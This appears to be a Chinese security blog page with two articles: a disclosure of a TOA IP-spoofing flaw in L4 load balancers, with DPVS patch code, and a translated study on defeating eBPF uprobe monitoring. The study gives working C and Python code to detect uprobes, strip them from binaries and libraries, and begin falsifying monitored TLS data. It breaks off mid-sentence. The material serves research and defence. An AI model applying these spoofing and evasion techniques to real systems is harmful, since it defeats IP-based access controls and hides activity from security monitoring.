详解:L4LB四层负载均衡IP伪造漏洞 前言 去年11月,在国家信息安全漏洞共享平台CNVD、国家信息安全漏洞库CNNVD报告过TOA的IP伪造漏洞,到今天快过去1年了,各受影响方也基本修复完毕,今天聊一下细节吧。 回顾 当初演示时,使用了百度搜索里的IP查询接口。 演示视频中,通过muou程序,参数中指定任意IP,即可使得当前电脑的出口IP为指定的任意IP。 炒冷饭? 有同学猜测这是HTTP的Header追加伪造?有同学说这是装神弄鬼,炒冷饭?有同学说自己早发现了公司内部不重视,不修复。 那么,这漏洞到底是什么?? 网上有聪明的同学,有一定IP伪造基本知识,结合我在推特上的历史内容,很快重现了演示视频里的IP伪造,即TOA(TCP Option Address)伪造IP,那么仅仅如此吗? 漏洞描述: 显然不是。不过,对了一点。 大型IDC内部客户端IP如何透传? L4LB四层负载均衡后业务需要使用用户原始IP,这是常见的功能需求。在大型IDC内部,一般会在RS节点上部署TOA(TCP Option Address)内核模块,用来获取TCP Option中的原始IP,也就是下图中TCP Segment部分。 漏洞如何出现? 开源的4层负载均衡,在FNAT模式下,未能很好的清除TCP Option中恶意构造的TOA信息,将恶意数据透传至RS服务器,导致业务服务器取到伪造IP。 危害是什么? 业务受损 IP在很多Web防火墙、反爬虫系统、防刷系统(薅羊毛)是用于做策略控制的基础强依赖,IP的伪造将导致这些系统完全失效,造成极大的风险损失。 信息安全风险 在很多后台系统中,IP同样被用于ACL的网络边界数据,IP的伪造,也依旧成成为可以突破的入口,比如对特定IP加白,直接放行等等。 我是如何发现IP伪造漏洞的? 这个漏洞原理确实如阿里的安全专家pyn3rd在多年前所写,直接在TCP Option里追加即可,网上聪明的同学也猜到了。 不过,笔者并不是安全研究相关,平时从事的工作也是安全产品的研发,没有看过那篇PPT。发现这漏洞时,也是意外。在研发一款零信任四层负载均衡产品时,为了实现IP透传使用了相关技术。扩展一下,便想到了这里可能存在安全问题,顺便验证了各大厂的IP伪造可能性。 国内友商情况 国内大厂,不管是腾讯、华为、阿里、小米、阿里、百度等等,几乎都是使用了FNAT TOA的技术向后透传IP,很多技术方案都源于早期的开源项目LVS(Linux Virtual Server) ,各大厂按照各自的需求逐步迭代,有些机制上的安全问题,也被保留下来了。当然也有部分是IOA(IP Option Address),为了兼容UDP协议的IP透传。 相似之处 区别无非是opcode是28,是200还是254 还是 253,亦或是其他。也无非是opsize 是8 还是精简的7。 也无非是读取TOA信息的时机,是1SYN还是3SYN-ACK ,亦或是为了兼容而都去读取。整体来看,大同小异。 差异 而最大的差异在于L4LB处理来自客户端TCP Option 既有信息。 已有TOA信息清理还是不清理? 相同opcode如何处理? LB串联时,如何保留客户端(来自LB)的TOA信息? 原包内容中的TCP Option长度已经满了,怎么办? 而这些情况只是L4LB的难题,那么对于RS服务器上的TOA 内核模块又会有哪些问题呢? 读到TOA 信息后,要继续读,还是终止读取了? 继续读的话,又读到了TOA,那么选择哪个? 都读完了,却没有读到TOA信息怎么办? 带着这些问题,我们回头看下本次漏洞的各厂商表现。 入门级漏洞 演示视频中的漏洞,是百度引入的外部IP查询API,这个API后端L4LB也是使用了TOA技术向后透传IP,因为LB跟后面RS服务器配合问题,造成了客户端可伪造IP的问题。 此漏洞的发生有以下几个条件 L4LB产品使用FNAT模式传递客户端IP L4LB未清除客户端TCP协议中Option信息,自己也追加了一个TOA,之后就直接向后传递 服务器主机启用TOA模块获取IP,且解析Option时,读到了伪造的IP,没有读到L4LB追加的IP TOA加在前面还是后面? L4LB 把TOA 放在TCP Option的最前面,还是最后面呢?这里就涉及到RS上的TOA内核模块读取机制了,这里也是很容易出漏洞的地方。 当然,也不排除是L4LB读取到TCP Option中已经有了TOA信息,便不在追加。(这在L4LB串联的场景中,是十分常见的做法)。 显然,这种实现方式,大概率是L4LB 这边问题很大,利用成本很低。 进阶级漏洞 国内大部分厂商都不存在这么简单的漏洞,那么意味着他们都没问题吗? 然而并不是。 L4LB的难题:TCP Option 满了 回到前面的问题,L4LB收到的客户端TCP Option 的长度已经超过最大长度40字节了,那么L4LB怎么处理? 没有空间去追加客户端IP了,还要读取吗? 不读 很多L4LB丢弃本次真实客户端IP 的诉求,直接透传给下游了。 问题就出现在这里,那么,只要客户端恶意填满TCP Option ,不留给L4LB追加的机会,即可伪造任意IP给下游。 而这就是国内大厂出现这个安全漏洞的地方。 注意,我这里用了下游,并没有说是RS,很多时候是L4LB串联,那么它的下游还是L4LB了。 读取 如果L4LB发现已经满了,无法追加了,那么他要继续读取,而且要要清理、删除,才能规避这类问题。 DPVS 的漏洞 LB侧(DPVS): dpvs中,在src/ipvs/ip_vs_proto_tcp.c文件的tcp_in_add_toa函数中,387行附近,判断当前TCP包中TCP option是否有足够空间来追加TOA结构体。若不够,则直接返回,够则追加。 在 TCP OPTION规范中,长度为40字节。在DPVS 的TOA定义长度为8字节(ipv6为20字节)。 RS侧(TOA): 内核模块TOA hook了获取IP的函数,来获取客户端IP,在toa.c里最终是调用get_toa_data来获取。 以IPv4为例,其中378行开始,读取到TCP Option中数据,匹配TOA的特征后,即返回。IPv6也是类似问题,不再赘述。 变态级思路 读取TCP Option ,清空TOA信息,就高枕无忧了吗?然而并不是,那思路是什么? 如果黑客构造了一个完全合规的TCP Option ,并且长度超过40字节,里面没有恶意的TOA IP,也不留给L4LB留下填充客户端IP的机会,那么,后端的RS 服务器,会拿到什么IP? 还能造成安全风险吗? 客户端拿到的是L4LB的内网IP,难道把这些内网IP拉入黑名单吗?你确定敢这么干? 内网IP 再说了,内网IP一般会出现在你的各种风控策略、ACL策略中吗? 思路这么多,那么到底该如何修复呢? TOA 问题修复 通过前面的原理讲解,聪明的你一定知道要如何修复这个安全漏洞了。 也就是说整个TCP Option都要逐一字节读取、清理,防止有多个TOA的信息在里面。然而,L4LB这种产品,QPS都是十万、几十万的性能挑战,突然每个网络包都要多了这么多内存复制的动作,性能下降是最大的挑战,不过,这就是研发同学去考虑的问题了。 DPVS 修复方案 我在像DPVS反馈这个BUG时,提了一个PR Remove toa field, fix security vulnerability. #925,将所有恶意TOA字段都使用TCP_OPT_NOP 设置为空。然而这样,面对TCP Option被填满的清空,是丢失了客户端原始IP的。 虽然性能上影响不大,但依旧有一些安全风险。 DPVS的专家ywc689 给了一个更专业的、更安全的修复方案ipvs: toa enhancements #928,只允许了以下几个opcode的Option,以及对应长度的opsize,并且选择了特别好的重置时机,在应对几十万QPS的网络包处理时,几乎没有新增性能损耗问题。 (了解相应opcode含义,请阅读TCP Option Kind Numbers) // ... const uint8_t opts_maxlen[64] = { [2] = 4, [3] = 3, [4] = 2, [8] = 10, [30] = 40, [34] = 18 }; // ... if (tcph->syn) opts_protected = (1ULL << 2) | (1ULL << 3) | (1ULL << 4) /* MSS, WS, SACKP */ | (1ULL << 8) | (1ULL << 30) | (1ULL << 34); /* TS, MPTCP, TFO */ else opts_protected = (1ULL << 8); /* TS, drop SACK, MPTCP DSS/REMOVE_ADDR */ while (fast < ptr) { opcode = *fast; opsize = *(fast + 1); if (opcode < 64 && ((1ULL << opcode) & opts_protected) && (opsize <= opts_maxlen[opcode])) { for (i = 0; i < opsize; i++) *slow++ = *fast++; opts_protected ^= (1ULL << opcode); } else { fast += opsize; pruned += opsize; if (pruned >= reqlen) { while (fast < ptr) *slow++ = *fast++; break; } } } 虽然,这里opcode 为30(Multipath TCP (MPTCP))的Option存在,但也仅允许SYN包时出现,如果RS的TOA内核模块是读取ACK内的TOA,那么这里是不受影响的。 但是,如果你的TOA内核模块读取的是首个SYN包的TOA,那么变态级思路的问题依旧在 问题验证 笔者实现了一个TCP Option自定义的工具,叫木偶(muou),你可以通过sudo ./muou t -b 020405b4命令来实现自定义TCP Option,这里演示了一个修改Maximum segment size的Option,MSS值为:1460。 按照你对这个漏洞的理解,假如这些漏洞都还存在,你需要实现一个通杀各大厂商的payload,那么该如何构造呢? 笔者的技术方案是eBPF sockops 操作TCP Option,此工具有一定危害,这里做了一定限制,本次只开源了二进制程序,防止定制成为攻击工具。 具体的技术方案,未来分享。 国外的现状 国外的L4LB产品资料相对比较少,现在的产品都是基于eBPF XDP做的,比如Isovalent公司的Cilium、Facebook公司的Katran、CloudFlare公司的Unimog等产品。 相对来说,不需要使用TCP Option/IP Option等方案,直接在L4LB侧转发给相应的RS服务器。 这里插一句,笔者没有吹捧eBPF,国外的现状确实如此,大多使用eBPF + XDP 实现的L4LB。 关于L4LB 四层负载均衡 更多关于,请阅读SRE技术专家laixintao的四层负载均衡漫谈 系列文章。 IOA 安全吗? 本文重点讨论了 基于TCP Option传递的客户端IP信息方案,从L4LB负载均衡到RS的TOA内核模块,不管是代码实现,还是协同机制,都存在着细微的差异,而这些细节恰恰是安全问题所在。 那么,基于IP Option的客户端IP透传方案国内哪些大厂在用?他们安全吗? 2024-08-17 0 0
击败 eBPF Uprobe 监控 这篇文章介绍了一种可以用于监控用户空间程序的 eBPF 程序。它首先向您介绍了 eBPF 和 uprobes,然后探讨了我们在 uprobes 中发现的缺陷,所有演示示例都适用于 Linux 和 x86_64 架构。原文地址:Defeating eBPF Uprobe Monitoring 简介 监控系统发生的事情非常重要。eBPF 可以通过将特定程序钩入各种系统范围的事件来帮助您在 Linux 服务器上执行此操作。您可以通过将内核或用户空间函数钩入来收集大量信息。例如,您可以读取两个进程之间加密通信的内容,或者查找使用特定库函数的进程。理解 eBPF 的一个好方法是记住这个图表: 要创建自己的 eBPF 程序,请选择一个 eBPF 库,它将生成 eBPF 字节码,然后调用 bpf 系统调用将其加载到内核中。在内核端,如果您的程序是安全的,它将经过验证并加载。您还必须记住,有不同类型的 eBPF 程序(适应触发事件),每种程序都可以访问不同的 eBPF 辅助程序和上下文。目前使用 eBPF 进行监控的工具通常涉及 kprobes(内核探针)。例如,这种类型的程序允许您记录每次进程使用系统调用的情况。然而,并非所有有趣的信息都可以通过这种方式捕获。这就是为什么正在对 uprobes(用户空间探针)进行新研究以进行用户空间监控的原因。 Uprobes:基础知识 定义 Uprobes 是允许钩入任何用户空间程序任意指令的内核功能。当触发这些钩子时,将创建一个事件,并向处理程序(例如,一个 eBPF 程序)提供被探测程序的上下文。然后,您可以记录 CPU 寄存器的值或执行一个 eBPF 程序。例如,由 Quarkslab 开发的 peetch 工具集使用 eBPF 和 uprobes 钩子在 OpenSSL 的 SSL_read() 和 SSL_write() 函数上,以记录系统范围的 TLS 消息并以纯文本形式访问数据。 如何创建 您可以通过向 /sys 伪文件系统添加一行到 /sys/kernel/debug/tracing/uprobe_events 文件来创建一个 uprobes。语法如下: p[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a uprobe r[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a return uprobe (uretprobe) -:[GRP/]EVENT : Clear uprobe or uretprobe event 更多细节,请参阅 内核文档。 示例 学习最好的方式是实践。让我们创建一个 uprobes,以打印系统中发出的每个命令。 首先,我们需要找一个地方来钩入。我们选择了 bash 二进制中的 readline()。这是一个不错的选择,因为我们的命令在函数结束时返回。现在,让我们找到 /bin/bash 中 readline 的偏移量。可以使用 gdb 快速实现: gdb /bin/bash (gdb) p readline $1 = {<text variable, no debug info>} 0xd5690 <readline> 如上 gdb 所示,我们的偏移量是 0xd5690。内核文档解释了我们可以在 uretprobe 中打印返回值。Uretprobes 实际上只是放置在函数末尾的 uprobes。我们的命令必须以 r: 开头,表示 "uretprobe",接着是我们的探针 bashReadline 的名称,二进制文件的路径 /bin/bash,偏移量 0xd5690,以及返回值打印为字符串的形式:cmd=+0($retval):string。 # First log-in as root. # This line creates a uretprobe named bashReadline at offset 0xd5690 of /bin/bash program that prints the return value as a string. echo 'r:bashReadline /bin/bash:0xd5690 cmd=+0($retval):string' >> /sys/kernel/tracing/uprobe_events # When the uprobe is added, activate it with this command: echo 1 > /sys/kernel/tracing/events/uprobes/bashReadline/enable cat /sys/kernel/tracing/trace_pipe bash-24834 [010] ..... 26372.295012: bashReadline: (0x5630d6af8015 <- 0x5630d6b98690) cmd="cat trace_pipe " <...>-14869 [014] ..... 26393.048772: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="ls" bash-14869 [014] ..... 26399.267734: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="whoami" <...>-24909 [010] ..... 26428.810573: bashReadline: (0x5638c7785015 <- 0x5638c7825690) cmd="cat /etc/passwd" 警告 如果在向 uprobe_events 文件写入时收到 设备或资源忙 的错误,请将 /sys/kernel/tracing/events/uprobes/enabled 设置为 0,然后重试。 如果收到 无效参数 错误,请阅读 /sys/kernel/tracing/error_log 文件以获取详细信息。 您的内核必须启用 CONFIG_UPROBES(如果您的 Linux 内核版本为 3.5 或更高版本,则默认启用)。 使用 eBPF 升级 如果您想要做的不仅仅是打印,并且要给您的 uprobes 添加一些逻辑,您可以使用 eBPF 程序。为简化起见,我们将使用做了繁重工作的 bcc Python 包。您只需使用构造函数创建一个 bpf 对象,并使用 attach_uretprobe() 方法将其挂接到 uretprobe 上。最后,我们编写一个简短的 eBPF 程序,读取命令和当前用户 ID,并在用户为 root 时打印它。 #!/usr/bin/python3 from bcc import BPF from time import sleep # load BPF program bpf_text=""" #include <linux/sched.h> int printForRoot(struct pt_regs *ctx){ char command[16] = {}; //use a bpf helper to get the user id. uid_t uid = bpf_get_current_uid_gid() & 0xffffffff; //another bpf helper to read a string in userland bpf_probe_read_user_str(&command, sizeof(command), (void *)PT_REGS_RC(ctx)); if(uid == 0){ bpf_trace_printk("Command from root: %s",command); } return 0; } """ b = BPF(text=bpf_text) b.attach_uretprobe(name="/bin/bash", sym="readline", fn_name="printForRoot") while(1): sleep(1) cat /sys/kernel/tracing/trace_pipe bash-9442 [000] d...1 2634.932058: bpf_trace_printk: Command from root: whoami bash-9442 [000] d...1 3575.645538: bpf_trace_printk: Command from root: cd /root/ bash-9442 [000] d...1 3584.413448: bpf_trace_printk: Command from root: sl 现在您已经了解了如何使用 uprobes,下一节将向您展示内核的工作原理。 uprobes 在幕后是如何工作的 Uprobe 创建 内核将 uprobes 实现为仅由内核使用的特殊断点。Uprobes 由程序文件 inode、指令偏移量、相关操作列表和替换指令代码组成。创建探测点时,它会被添加到特定的二叉树中。 在设置 uprobes 时,内核会调用 probes_write() 和 trace_uprobe_create(),它们又调用 __trace_uprobe_create()。最后一个函数以 uprobe_events 中的行作为参数,并调用 kern_path() 获取与我们路径相对应的文件的 inode。 随后,register_trace_uprobe()、_add_event_to_tracers() 和其他函数创建了伪目录 /sys/kernel/tracing/events/uprobes/<EVENT>/,以及一些文件(enable、id 等)。 probes_write(){ trace_uprobe_create(){ /* * Argument syntax: * - Add uprobe: p|r[:[GRP/]EVENT] PATH:OFFSET[%return][(REF)] [FETCHARGS] */ __trace_uprobe_create(int argc, const char **argv); } } Uprobe 激活 当我们启用 uprobes 时,会发生以下嵌套调用:trace_uprobe_register() => probe_event_enable() => trace_uprobe_enable() => uprobe_register()。 这最后一个函数调用了另外两个有趣的函数: alloc_uprobe(),它创建了一个带有 inode、偏移量和替换指令的 struct uprobe 并调用 insert_uprobe() 将这个 uprobe 添加到 uprobe rb_tree 中。 register_for_each_vma(),它循环遍历所有现有的虚拟内存区域,找到与某些 uprobe inode 相对应的内存区域(并验证 valid_vma())。对于这些 vma,它调用 install_breakpoint() 将完整的被探测指令复制到 arch.insn 中(一个取决于当前架构的结构),然后将其替换为断点。 trace_uprobe_register(){ probe_event_enable(){ trace_uprobe_enable(){ uprobe_register(){ alloc_uprobe(){ struct uprobe{ inode; offset; insn; } insert_uprobe(); } register_for_each_vma(){ if(valid_vma){ install_breakpoint(); } } } } } } 新程序实例的检测 当执行一个 ELF 程序时,它的内存使用 mmap 系统调用进行映射。在内核中,函数 mmap_region/vma_merge => __vma_adjust() 被调用以管理这种映射。__vma_adjust() 是一个在虚拟内存区域被添加/修改时使用的辅助函数。当文件支持的虚拟内存区域被修改时,它调用 uprobe_mmap()。我们程序的代码部分与其程序文件相连,所以 uprobe_mmap() 被用于包含我们 uprobe 的虚拟内存区域。 如果 valid_vma() 正常,它会使用 build_probe_list() 找到与 uprobe rb_tree 中相同 inode 的所有 uprobes,并为每个 uprobe 调用 install_breakpoint()。 SYS_mmap(){ mmap_region/vma_merge(){ __vma_adjust(){ uprobe_mmap(){ if(valid_vma){ build_probe_list(){ for each uprobe: install_breakpoint(); } } } } } } 记住,在 mmap 调用期间会将 uprobes 添加到新的程序实例中! Uprobe 事件 当达到断点时,会触发 int3 异常。do_int3() 调用 notify_die(DIE_INT3, …),然后调用 atomic_notifier_call_chain(&die_chain, …)。链 die_chain 包含了之前通过 register_die_notifier() 注册的所有通知者。atomic_notifier_call_chain 调用 notifier_call_chain(),通过其 notifier_call 属性通知链中注册的通知者有关事件的信息。对于我们的 uprobes,它是在 uprobe_init() 中设置的 arch_uprobe_exception_notify()。它调用 uprobe_pre_sstep_notifier(),该函数设置了 TIF_UPROBE 标志。在返回到用户空间时,线程注意到了 TIF_UPROBE 标志,并调用 uprobe_notify_resume(struct pt_regs * regs),该函数调用 handle_swbp(regs)。 此函数执行两个主要操作: handler_chain(find_active_uprobe()),执行此 uprobes 的处理程序。例如,由 eBPF 程序使用的 perf_event。 pre_ssout(),准备对被探测指令进行单步执行。这个指令不能在程序内存中执行,因为原始指令已被 uprobes 断点指令替换。内核开发人员首先尝试暂时删除断点,但存在一些问题,因此选择在一个新的内存区域中执行这个指令(也称为 xol)。因此,它首先调用 xol_get_insn_slot 获取 xol 虚拟地址,此函数使用 get_xol_area(),如果尚未创建 uprobes 特殊虚拟内存区域,则会创建该区域,并使用 xol_add_vma() => install_special_mapping()。这个 vma 是原始指令将要在 xol 中执行的地方。继续执行 pre_ssout(),它使用 arch_uprobe_pre_xol() 调用 regs_set_return_ip(regs, current->utask->xol_vaddr) 和 user_enable_single_step()。此时 current->utask->xol_vaddr 指向之前创建的分配的 XOL slot。因此,此函数将程序计数器设置为原始指令的副本所在的位置,并激活单步模式。然后,执行这个指令,并再次停止程序。 当单步执行结束时,arch_uprobe_post_xol 从 uprobe_notify_resume 中调用。此函数准备在单步执行后恢复执行,并调用 post_xol 处理程序。默认情况下,它是 default_post_xol_op(也可以看看 branch_post_xol_op)。新的 RIP 寄存器是相对于复制的指令的,因此它使其相对于原始指令(有一些例外,比如返回、调用、绝对或间接跳转等)。如果指令使用了 RIP,则将其替换为另一个寄存器。恢复这个寄存器的值,最后恢复程序的执行。 [...] uprobe_init(){ register_die_notifier(arch_uprobe_exception_notify); } [...]//breakpoint is reached do_int3(){ notify_die(DIE_INT3, ...){ atomic_notifier_call_chain(&die_chain, ...){ notifier_call_chain(){ for each: notifier_call = arch_uprobe_exception_notify(){ uprobe_pre_sstep_notifier(){ //set TIF_UPROBE flag } } } } } } [...] exit_to_user_mode_prepare() { exit_to_user_mode_loop() { uprobe_notify_resume(struct pt_regs * regs){ handle_swbp(regs){ handler_chain(find_active_uprobe()); pre_ssout(){ xol_get_insn_slot(){ get_xol_area(){ __create_xol_area(){ xol_add_vma(){ install_special_mapping(); } } } } arch_uprobe_pre_xol(){ regs_set_return_ip(regs, current->utask->xol_vaddr); } user_enable_single_step(); } } } } } [...]//single_step uprobe_notify_resume(struct pt_regs * regs){ arch_uprobe_post_xol(){ post_xol = default_post_xol_op(); } } 总结一下,当触发断点时,会执行处理程序,然后执行替换为断点的原始指令,它在一个特殊的虚拟内存区域中执行 与 uprobes 一起玩耍 我们已经知道 uprobes/eBPF 组合是一种获取系统所有进程数据的非常高效的方式。例如,在 Quarkslab,我们创建了 peetch,它记录了所有明文的 TLS 连接(在加密过程之前)。但是,从安全的角度来看,这些数据能够被信任吗?还是只是提供了信息而已? 在这一节中,我们假设编写了一个将被 uprobes 监控/检测的程序。让我们看看我们可以用这些 uprobes 做些什么。 检测 uprobes Uprobes 基于断点,因此我们可以使用常见的反调试技巧来检测它们。受监视程序快速且不太正规的方法是读取其 .text 内存,然后搜索断点操作码。 下面的 C 代码片段通过读取 tracedFunction 的第一个字节,并检查是否对应于断点操作码(0xcc)来实现此功能。 unsigned char * functionBytes = (unsigned char *) &tracedFunction; if (functionBytes[0] == 0xcc){ printf("Detected uprobe breakpoint in beginning of tracedFunction.\n"); } 问题在于,你可能必须检查每条指令,并将其与二进制文件中的实际指令进行比较,以避免误报。 另一种方法是在触发 uprobe 后检测它。利用我们对内核内部工作原理的了解,我们知道创建了一个特殊的内存映射,称为 [uprobes],用于执行原始指令。因此,我们的被监视程序可以读取 /proc/self/maps,并搜索此类映射。 bool detect_uprobes(){ FILE * memfile = fopen("/proc/self/maps", "r"); char line[200]; while(fgets(line, 200, memfile) != NULL){ char * uprobes_str = strstr(line,"[uprobes]");//search for "[uprobes]" in line if(uprobes_str != NULL){ return true; } } return false; } uprobes 监控逃逸 根据 Uprobe 激活 和 检测新程序实例 段落的内容,我们知道在添加断点之前始终会调用 valid_vma() 函数。让我们来看看这个函数的代码: static bool valid_vma(struct vm_area_struct *vma, bool is_register){ vm_flags_t flags = VM_HUGETLB | VM_MAYEXEC | VM_MAYSHARE; if (is_register) flags |= VM_WRITE; return vma->vm_file && (vma->vm_flags & flags) == VM_MAYEXEC; } 在 uprobe 注册期间,is_register 被启用。我们的代码是由程序文件支持的,所以 vma->vm_file 为 true,而且我们的代码具有执行标志,因此 VM_MAY_EXEC 也为 true。这个函数的有趣之处在于,如果我们的代码具有 VM_WRITE 标志,虚拟内存区域就不被视为有效的 vma,因此断点永远不会添加到我们的代码部分(.text)。 一个简单的方法是编辑包含 .text 部分的 ELF 段的权限,而 Quarkslab 提供了一个很好用的工具:lief。 import lief prog = "./bin/prog" binary = lief.parse(prog) binary.segment_from_offset(binary.get_section(".text").offset).flags = lief.ELF.SEGMENT_FLAGS(7) binary.write(prog) 这些技术结合一下: char isRoot(int uid){ if(detect_uprobes()){ printf("Previous uprobe usage detected.\n"); }else{ printf("No uprobe has been activated.\n"); } return uid == 0; } int main(int argc, char * argv[]){ if(argc == 2 && argv[1][0] == '1'){ unsigned char * funcBytes = (unsigned char *) &isRoot; if (funcBytes[0] == 0xcc) { int pagesize = sysconf(_SC_PAGE_SIZE); char * debut_page = ((char *) &isRoot) - ((long)&isRoot % pagesize);//find page aligned address mprotect(debut_page, pagesize, PROT_WRITE | PROT_READ | PROT_EXEC); printf("Detected uprobe breakpoint at the beginning of tracedFunction.\n"); funcBytes[0] = 0xf3; } }else if(argc != 2 || argv[1][0] != '0'){ printf("Usage:\n\t%s 0 : to disable anti-uprobe\n\t%s 1 : to enable anti-uprobe\n", argv[0], argv[0]); exit(1); } //PoC function isRoot(getuid()); return 0; } 这个程序有两种模式: 没有任何检测(即常规执行) 在 isRoot 上检测断点(以及修补)。 无论哪种情况,它都使用第二种检测技术来查找是否有任何 uprobes 被激活。 让我们试一试: # We begin without uprobe user@pc:~/ebpf-for-security/uprobe$ ./bin/prog Usage: ./bin/prog 0 : to disable anti-uprobe ./bin/prog 1 : to enable anti-uprobe user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 No uprobe has been activated. Print from testFunction user@pc:~/ebpf-for-security/uprobe$ gdb ./bin/prog -q # We find isRoot function offset Reading symbols from ./bin/prog... (gdb) p isRoot $1 = {void ()} 0x1320 <isRoot> ----------------- # Now we activate the uprobe root@pc:~# echo 'p:isRootFunction /home/cglenaz/Documents/eBPF/gitlab/ebpf-for-security/uprobe/bin/prog:0x1320 uid=%di:u32' > /sys/kernel/tracing/uprobe_events ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 Previous uprobe usage detected. # our uprobe is detected! ------------------------------------------------------- # Let's read the uprobe output: cat /sys/kernel/tracing/trace_pipe prog-19936 [013] ..... 19399.726502: isRootFunction: (0x55ff8a5b8320) uid=1000 # The uprobe has intercepted the uid ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 1 # we test the first detection and mitigation strategy Detected uprobe breakpoint in beginning of testFunction. No uprobe has been activated. # it works ------------------------------------------------------- # Let's see if something is printed: cat /sys/kernel/tracing/trace_pipe # nothing is printed in trace_pipe because the uprobe is not activated ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ python3 permission.py # now we patch the binary with lief user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 No uprobe has been activated. # no more uprobe on this program ------------------------------------------------------- cat /sys/kernel/tracing/trace_pipe # nothing again in trace_pipe ------------------------------------------------------- 这个技巧在我们程序的 isRoot 函数上效果很好,但对于共享库不起作用。而且,你必须是 root 用户才能编辑特权 ELF 库,比如 libc,所以你必须在它们加载到程序内存之前修改权限(或者你也可以编写一个自定义的 ELF 加载器,为每个库添加写权限)。你的程序可以再次读取 /proc/self/maps 来找到所有来自库的可执行 vma。 示例: 55cc466af000-55cc466b1000 r--p 00000000 fd:01 22282389 /usr/bin/cat 55cc466b1000-55cc466b5000 r-xp 00002000 fd:01 22282389 /usr/bin/cat 55cc466b5000-55cc466b7000 r--p 00006000 fd:01 22282389 /usr/bin/cat 55cc466b7000-55cc466b8000 r--p 00007000 fd:01 22282389 /usr/bin/cat 55cc466b8000-55cc466b9000 rw-p 00008000 fd:01 22282389 /usr/bin/cat 55cc4807f000-55cc480a0000 rw-p 00000000 00:00 0 [heap] 7f32c7ce9000-7f32c7d0b000 rw-p 00000000 00:00 0 7f32c7d0b000-7f32c8af2000 r--p 00000000 fd:01 22287657 /usr/lib/locale/locale-archive 7f32c8af2000-7f32c8af5000 rw-p 00000000 00:00 0 7f32c8af5000-7f32c8b1d000 r--p 00000000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8cb2000-7f32c8d0a000 r--p 001bd000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d0a000-7f32c8d0e000 r--p 00214000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d0e000-7f32c8d10000 rw-p 00218000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d10000-7f32c8d1d000 rw-p 00000000 00:00 0 7f32c8d30000-7f32c8d32000 rw-p 00000000 00:00 0 7f32c8d32000-7f32c8d34000 r--p 00000000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d5e000-7f32c8d69000 r--p 0002c000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d6a000-7f32c8d6c000 r--p 00037000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d6c000-7f32c8d6e000 rw-p 00039000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7ffd18ebb000-7ffd18edc000 rw-p 00000000 00:00 0 [stack] 7ffd18ee6000-7ffd18eea000 r--p 00000000 00:00 0 [vvar] 7ffd18eea000-7ffd18eec000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] 感兴趣的虚拟内存区域: 7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 每个 vma,你必须使用 munmap 系统调用取消映射该 vma 以删除 uprobes,并使用 mmap 系统调用重新映射具有写权限的完全相同的 vma。只有一个注意事项:当 libc 被取消映射时,你无法使用 libc 中的 mmap 函数。这就是为什么你必须直接在你的程序中硬编码系统调用的汇编指令。 extern long int syscall (long int __sysno, ...){ asm("mov %rdi,%rax"); asm("mov %rsi,%rdi"); asm("mov %rdx,%rsi"); asm("mov %rcx,%rdx"); asm("mov %r8,%r10"); asm("mov %r9,%r8"); asm("mov 0x10(%rbp),%r9"); asm("syscall"); } void remove_lib_uprobes(){ FILE * memfile = fopen("/proc/self/maps", "r"); char line[200]; while(fgets(line, 200, memfile) != NULL){ char * lib_str = strstr(line,".so");//find all libraries char * r_xp = strstr(line,"r-xp");// only their code sections if(lib_str != NULL && r_xp != NULL){ //read the start and end address. And the file offset. char * dash = strchr(line, '-'); dash[0] = '\0'; char * space = strchr(dash + 1, ' '); space[0] = '\0'; char * space2 = strchr(space + 1, ' '); space2[0] = '\0'; char * space3 = strchr(space2 + 1, ' '); space3[0] = '\0'; unsigned long addr1 = strtol(line, NULL, 16); unsigned long addr2 = strtol(dash + 1, NULL, 16); unsigned long offset = strtol(space2 + 1, NULL, 16); unsigned long delta = addr2-addr1; //now read the library file name // Locate the last occurrence of space in line (the one before the lib name) char * name_lib = strrchr(space3 + 1, ' ') + 1; name_lib[strlen(name_lib)-1] = 0; //replace the \n by '\0' long int fd = open(name_lib, O_RDONLY); syscall(SYS_munmap,(void *) addr1, delta); syscall(SYS_mmap,(void *) addr1, delta, (unsigned long) PROT_EXEC | PROT_READ | PROT_WRITE, (unsigned long) MAP_PRIVATE, (unsigned long) fd, (void *) offset); } } } 提供虚假信息 现在我们能够检测和禁用 uprobes,我们可以尝试向一个挂接在 uprobes 上的 eBPF 程序发送虚假的上下文信息。让我们试图伪造 sudo peetch tls --content 命令的输出。我们的程序将发送一个 GET 请求到 “evil” 文件,但 peetch 将监视对 “test” 文件的请求。这怎么可能?我们将利用在 uprobes 断点触发和消息实际加密之间的竞争条件。第一种策略是创建另一个线程,希望它在正确的时刻更改文件名;但这种方法只有 50% 的成功率,我们可以做得更好。事实上,我们可以控制我们程序的执行,所以我们可以将我们的程序分叉为两个进程: 